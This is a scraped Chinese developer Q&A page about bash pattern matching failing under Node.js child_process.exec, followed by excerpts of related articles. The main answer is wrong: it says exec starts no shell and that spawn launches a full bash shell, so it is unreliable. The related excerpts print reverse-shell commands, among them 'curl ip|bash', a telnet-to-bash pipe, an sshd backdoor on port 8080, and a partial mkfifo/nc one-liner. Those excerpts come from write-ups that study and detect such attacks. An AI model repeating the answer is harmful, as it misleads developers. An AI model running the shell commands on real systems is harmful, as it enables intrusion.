首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

为什么我的bash模式匹配不能正常工作,当‘管道’通过nodejs exec?

在使用bash模式匹配时,通过nodejs exec执行命令时可能会出现无法正常工作的情况。这是因为bash模式匹配是bash shell的特性,而exec函数在执行命令时,并不会启动一个完整的bash shell环境,而是直接执行指定的命令。

由于exec函数不会启动bash shell,因此无法使用bash的特性,包括模式匹配。如果你想要在nodejs中使用bash模式匹配,可以考虑使用其他方法,例如使用正则表达式进行匹配。

另外,如果你需要在nodejs中执行复杂的bash命令,可以考虑使用child_process模块中的spawn函数,它可以启动一个完整的bash shell,并执行指定的命令,这样就可以正常使用bash的特性,包括模式匹配。

总结起来,bash模式匹配不能正常工作的原因是exec函数不会启动一个完整的bash shell环境,解决方法是使用其他方法进行匹配,如正则表达式,或者使用child_process模块中的spawn函数启动完整的bash shell。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

不一样 反弹Shell 系统剖析

反弹shell运行后,在控制端输入 bash -i ,如果无法产生交互式,则说明是命令执行类。...client向server发送请求,server将命令内容响应给client, client 获取命令内容,通过管道发送给bash执行,并读取执行结果,最后通过请求再发给server,完成一个流程。...无论是半交互还是非交互反弹shell,有一个明显特征,bash输入输出要么连接着管道,要么连接着socket,但是伪终端生成反弹shell,输入输出和正常情况一样。...接着查看一下反弹 bash输入输出上是否有管道或者socket绑定,我们发现bash 输入输出和正常一样,传统检测策略:依靠bash 输入输出绑定管道和socket检测方式失效了。 ?...shell匹配控制端本地终端。

3K40

100个Linux命令(7)-进程管理

pkill和pgrep命令是同族命令,都是先通过给定匹配模式搜索到指定进程,然后发送信号(pkill)或列出匹配进程(pgrep),pgrep就不介绍了。...:匹配给定终端,终端名称不能带上"/dev/"前缀,其实"w"命令获得终端名就满足此处条件了,所以pkill可以直接杀掉整个终端 -v:反向匹配 -signal:指定发送信号,可以是数值也可以是字符代表信号...在当前bash环境下,处于可运行状态(即就绪态)时,执行cp命令时,首先fork出一个bash子进程,然后在子bashexec加载cp程序,cp子进程进入等待队列,由于在命令行下敲命令,所以优先级较高...执行 cp 命令敲入回车后,当前 bash 通过 exec 加载 cp 程序替代子 bash。请不要在此纠结子 bash 和子 shell,如果搞不清楚他们关系,就当他们是同一种东西好了。...所以该信号可以解除僵尸进程, 也可以让非正常退出进程工作得以正常clean-up,释放资源,保存状态等。

1.7K20
  • nodejsbash脚本终极方案!

    后来就开始探索,如果用node脚本代替bash该多好啊,经过一天折腾逐渐发现一个神器,Google旗下zx库,先别着急,先不介绍这个库,我们先看看目前主流用node如何编写bash脚本,就知道为啥它是神器了...◆ node执行bash脚本: 勉强解决方案:child_process API 例如 child_processAPI里面exec命令 const { exec } = require("child_process...,首先exec是异步,但是我们bash脚本命令很多都是同步。...写bash脚本方案了,如果你们那边node环境不能随便升级,觉得shelljs确实够用了。...import模块就行,不用其它工具转义 2、自带支持管道操作pipe方法 3、自带fetch库,可以进行网络请求,自带chalk库,可以打印有颜色字体,自带错误处理nothrow方法,如果bash命令出错

    3.9K20

    深入理解NodeJS多进程

    序言一次面试中,提到自己用过pm2,面试接着问:「那你知道pm2父子进程通信方式吗」。大概听说pm2有cluster模式,但不清楚父子进程如何通信。面试结束后把NodeJS多进程重新整理了一下。...下面介绍在NodeJS通过socket、管道、信号实现进程间通信。...管道本质上就是内核中一个缓存,进程创建一个管道后,Linux会返回两个文件描述符,一个是写入端描述符(fd1),一个是输出端描述符(fd0),可以通过这两个描述符往管道写入或者读取数据。...NodeJS中也是通过net模块实现管道通信,与socket区别是server listen和client connect都是特定格式管道名。管道通信效率比较低下,一般不用它作为进程通信方案。...pm2利用NodeJScluster模块实现了集群能力,配置exec_mode为cluster时候,pm2就会自动使用cluster创建多个进程,也就有了负载均衡能力。

    1.8K20

    理解NodeJS多进程

    序言一次面试中,提到自己用过pm2,面试接着问:「那你知道pm2父子进程通信方式吗」。大概听说pm2有cluster模式,但不清楚父子进程如何通信。面试结束后把NodeJS多进程重新整理了一下。...下面介绍在NodeJS通过socket、管道、信号实现进程间通信。...管道本质上就是内核中一个缓存,进程创建一个管道后,Linux会返回两个文件描述符,一个是写入端描述符(fd1),一个是输出端描述符(fd0),可以通过这两个描述符往管道写入或者读取数据。...NodeJS中也是通过net模块实现管道通信,与socket区别是server listen和client connect都是特定格式管道名。管道通信效率比较低下,一般不用它作为进程通信方案。...pm2利用NodeJScluster模块实现了集群能力,配置exec_mode为cluster时候,pm2就会自动使用cluster创建多个进程,也就有了负载均衡能力。

    1.2K00

    Shell特殊字符

    和~-一样,表示前一个工作目录。 cd -,回到前一个工作目录,不能echo - 来查看。 关于上面的特殊变量几个知识点: (1)$@与$*区别?...26 ${##} 模式匹配截断,用法${variable##pattern} 这种模式时,shell在variable中查找给定模式pattern,如果是存在,就从命令行把variable中内容去掉左边最长匹配模式...27 ${%} 模式匹配截断,用法${variable%pattern},这种模式时,shell在variable中查找,看它是否一给模式pattern结尾,如果是,就从命令行把variable中内容去掉右边最短匹配模式...28 ${%%} 模式匹配截断,用法${variable%%pattern},这种模式时,shell在variable中查找,看它是否一给模式pattern结尾,如果是,就从命令行把variable中内容去掉右边最长匹配模式...68 标准输入与输出重定向运算符 exec 6filename,通过exec命令,以读写方式将文件描述符6绑定到指定文件 命令功能符。 序号 符号 作用 示例 61 . 点号。

    5.2K10

    nodejsbash 脚本终极方案!

    后来就开始探索,如果用node脚本代替bash该多好啊,经过一天折腾逐渐发现一个神器,Google旗下zx库,先别着急,先不介绍这个库,我们先看看目前主流用node如何编写bash脚本,就知道为啥它是神器了...,首先exec是异步,但是我们bash脚本命令很多都是同步。...写bash脚本方案了,如果你们那边node环境不能随便升级,觉得shelljs确实够用了。...import模块就行,不用其它工具转义 2、自带支持管道操作pipe方法 3、自带fetch库,可以进行网络请求,自带chalk库,可以打印有颜色字体,自带错误处理nothrow方法,如果bash命令出错...你点赞、在看和关注是对最大支持!

    2.5K20

    shell 学习笔记(18)

    在tar cvf - *当中,表示标准输出,因为f参数后面跟是输出, 这个命令意思就是把当前目录所有文件,tar打包到标准输出当中 然后通过管道,这个命令标准输出作为后面 (cd...[[:alnum:].]*).*#\1#p"|sort|uniq -c|sort -k1rn 上面的 sed 有一行上不能匹配多个网址 bug,因为sed需要完全匹配后才能print,下面用...vim中,需要在正常模式下按 "+p, 要将vim某个粘贴板里内容粘贴进来,需要退出编辑模式,在正常模式按"Np,其中N为粘贴板号, 如上所述,可以按"5p将5号粘贴板里内容粘贴进来...为什么dd命令进度输出要killall命令来激发呢?...-newer `date -I -d'3 days ago'` /tmp/mstat/2013-03-24 1797.sed 模式匹配//与模式替换s///语法区别: 都是 / 做分隔符并无区别

    2K60

    SHELL(bash)脚本编程八:技巧

    至此,我们介绍了linux系统中常用命令使用方法,简述了bash程序使用方法和工作流程。在使用bash编写脚本程序时,熟练掌握这些工具用法,往往能够达到事半功倍效果。...本文将通过讲述一些实例,试着探讨bash脚本编程技巧。需要说明是,这里技巧是多角度寻求解决方案思路,是建立在对各种命令和bash编程技法深刻理解基础之上。...分析:寻找名字符合某个模式文件可以用find,但find不能控制寻找到文件数量,也许可以用for循环控制一下,查看文件第一行有许多方法,可以用head、sed等。 根据以上思路写出脚本: #!.../bin/bash grep -vxf a b|tee c|wc -l 此方案利用grep-f选项将文件a中每行最为匹配模式匹配文件b内容,-v表示不匹配,然后通过管道交给命令tee写入文件c中,...然后在通过管道将标准输出交给wc命令统计行数。

    62620

    从一道题目中学习反弹shell

    协议,它可以相对较简单建立一些连接,接下来了解一下要用到参数 -l 使用监听模式,管控传入资料。...进行反弹shell 这个就是用于绕过目标机存在某些防护过滤了一些字符时,我们可以通过这个来实现反弹shell,语句如下 curl ip|bash 它的话其实就是以bash解析shell,对ip进行...它为用户提供了在本地计算机上完成远程主机工作能力。...port2 这个的话就是用talnet主动连接攻击机某个端口,然后将输出信息作为bash输入,即用bash执行其输出信息,接下来用管道符将bash输出重定向到talnet连接攻击机另一个端口下...port 0a 就是创建一个管道a,然后用talent与攻击机某个端口进行连接,再用重定向将标准输入定向到管道a中,接下来再用管道符|,将左边输出作为右边输入,也就是说用

    61610

    Linux常用命令09 - sed

    它可以对文件和输入流(如管道)执行基本文本操作。 使用 sed,您可以搜索、查找和替换、插入和删除单词和行。 它支持基本和扩展正则表达式,允许您匹配复杂模式。...若要使模式匹配不区分大小写,请使用 I 标志。...bin/bash demo foobar number sed 另一个有用特性是,您可以使用与匹配模式相对应 & 符号。...这可以通过使用 find 或 grep 等命令递归地查找目录中文件并将文件名管道化为 sed 来实现。 下面的命令将递归搜索当前工作目录文件夹中文件,并将文件名传递给 sed。 find ....-type f -name "*.md" -print0 | xargs -0 sed -i 's/foo/bar/g' 另一种选择是使用 grep 命令递归地查找包含搜索模式所有文件,然后将文件名通过管道传递给

    2.1K30

    shell 快速入门

    /bin/bash # 特殊字符 # 通配符 # 通配符用于模式匹配,常见通配符有 *、? 和用 [] 括起来字符序列。...# 例如:a* 可以匹配以 a 开头任意长度字符串,但是不能包含 点号和斜线号 # 所以 a* 不能匹配 abc.txt # ?...不同 shell 环境可能会有所差别,比如我在 mac zsh 下就不能正常使用 exec 重定向 # Here Document # here doc 又称为 此处文档,用于在命令或脚本中按行输入文本.../bin/bash # 字符处理 # 管道 # 从一个命令中读取输出,作为另一个命令输入 # 示例 # ls | grep .sh | cut -f1 -d'....输出行号 # -v 反向匹配 # 其中 '需要匹配字符' 支持正则表达式模式 grep -in 'func' 01_变量.sh # sort # sort 可以对无序数据进行排序 # sort [

    1.9K30

    Node.js CLI 工具最佳实践

    3 通用性 本节将介绍使 Node.js CLI 与其他命令行工具无缝集成有关最佳实践,并遵循 CLI 正常运行约定。 本节将回答以下问题: 可以导出 CLI 输出以便于分析吗?...可以将 CLI 输出通过管道传递到另一个命令行工具输入吗? 是否可以将其他工具结果通过管道传输到此 CLI?...3.1 接受 STDIN 作为输入 ✅ 正确: 对于数据驱动命令行应用,用户可以轻松通过管道将数据输入到 STDIN。...3.2 结构化输出 ✅ 正确: 通过某个参数来允许应用结果进行结构化输出,这样使得数据更容易处理和解析。 ❌ 错误: 用户可能需要使用复杂正则来解析和匹配 CLI 输出结果。...,通过手动连接它们时,会导致程序不能在不同平台之前相互操作。

    3.3K10

    面试官问你关于node那些事(进阶篇)

    )导出,具体使用参数 view:模板路径 locals:渲染模板时传进去本地变量 callback:如果定义了回调函数,则渲染工作完成时才被调用,返回渲染好字符串(正确)或者错误信息 ❌ 复制代码...通过上述代码我们就创建了一个支持多进程和负载均衡服务,运行结果如下? ? ❝ 啊呆?同学:那为什么多个进程可以监听同一个端口呢?...pm2 start test.js -i 2 意思是cluster mode 模式启动2个app.js应用实例,这2个应用程序会自动进行负载均衡,- i后面的数字表示要启动工作线程数量。...(GC),nodejs是执行javascriptV8引擎,也就是说nodejsGC就是说V8引擎GC,而基于GC原理,内存泄漏就是应该被回收内存,换句话说就是本应该被标记为可达到对象却没有被正常回收...exec: 衍生一个 shell 并在该 shell 中运行命令,完成时则将stdout 和 stderr 传给回调函数,exec第一个参数,跟shell命令完全相似,场景用来执行命令较多 spawn

    2.8K30

    【前端】Ubuntu16下nodejs+npm+vue环境配置

    apt-get安装,看似容易 apt-get install nodejs-legacy 但是这么一安装后,在后续安装npm时候,出现版本不匹配问题,被npm要求强制升级,然而apt-get升级日常神坑...: nvm ls 展示已安装nodejs版本列表(实际上还包括使用情况) nvm install 安装新nodejs版本 nvm use 将当前系统nodejs版本切换到指定版本 nvm alias...npm安装 正常情况下,nvm正确安装后,与之匹配npm也将安装完毕,可以使用如下命令检测下 npm -v 类似于nvm,正常显示版本号则表示安装正常。...(注:笔者在运行完之前配置过程后,npm已经自动安装为了与nodejs版本匹配版本,正常情况下这应该是一个自动过程。...(实际上权限不够也应该尽量通过修改系统权限等方式解决) 安装全局包时候,一定要记得使用-g命令,表示全局安装。

    90250

    关于Shell你想知道都在这儿

    利用系统特殊设备文件/dev/tcp[当然,有这种特性文件并不止这一个],语句意思其实很简单,通俗点儿讲就是把bash数据全部通过/dev/tcp建立socket发过去,以此来达到反弹shell...利用sshd来反弹shell,ln -f意思就是把原有的数据清空,整体语句意思通俗点儿讲,就是把sshd绑定在本地8080端口上,这样别人从8080这个端口进来时候就相当于直接进到本机sshd...利用最古老nc来反弹,但默认正常发行版中默认带那个nc都是阉割版,即没有-e选项,也就意味着你并不能直接用它反弹shell,好在强大linux为我们提供了一个建立管道工具mkfifo和bash...本身各种管道特性,我们就可以利这种方式,把bash数据通过管道反弹走 普通nc反弹 C:\>nc -lvp 8080# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin...利用udp来反弹shell C:\>nc -l -p 53 -u 注意这里务必要用udp模式来接# python udpshell.py 192.168.1.128 53 udp ?

    1.2K50

    你不知道RabbitMQ集群架构全解

    Cookie”部分; 步骤二:加入RabbitMQ节点到集群 设置节点1: docker exec -it myrabbit1 bash rabbitmqctl stop_app rabbitmqctl...reset rabbitmqctl start_app exit 设置节点2,加入到集群: docker exec -it myrabbit2 bash rabbitmqctl stop_app...设置节点3,加入到集群: docker exec -it myrabbit3 bash rabbitmqctl stop_app rabbitmqctl reset rabbitmqctl join_cluster...镜像队列工作原理:在某种程度上你可以将镜像队列视为,拥有一个隐藏fanout交换器,它指示者信道将消息分发到从队列上。...设置镜像队列 设置镜像队列命令:“rabbitmqctl set_policy 名称 匹配模式(正则) 镜像定义”, 例如,设置名称为mypolicy镜像队列,匹配所有名称是amp开头队列都存储在2

    1.4K10
    领券